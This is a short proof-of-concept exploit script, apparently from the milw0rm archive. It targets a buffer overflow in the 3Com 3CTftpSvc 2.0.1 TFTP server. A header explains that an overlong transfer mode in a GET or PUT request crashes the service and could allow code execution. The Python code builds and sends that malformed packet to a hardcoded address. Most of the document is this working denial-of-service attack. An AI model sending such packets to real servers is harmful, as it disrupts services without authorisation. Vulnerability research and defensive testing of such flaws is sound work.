3Com TFTP Service (3CTftpSvc) 2.0.1 - 'Long Transporting Mode' Overflow (PoC)

#!/usr/bin/python
# Buffer Overflow (Long transporting mode) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

# SUMMARY:

# 3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
# (http://support.3com.com/software/utilities_for_windows_32_bit.htm
# or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip)
# It provides an implementation of the TFTPv2 protocol.

# A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be exploited by attackers
# to execute arbitrary commands or cause a denial of service. This flaw is
# due to a buffer overflow error when handling an overly long transporting
# mode (more than 470 bytes) passed to a "GET" or "PUT" command, which could
# be exploited by malicious users to compromise a vulnerable system or crash
# an affected application.

# EXPLOIT:

import socket
import sys

host = '192.168.1.11'
port = 69

try:
   s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
   print "socket() failed"
   sys.exit(1)

filename = "A"
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))

# milw0rm.com [2006-11-27]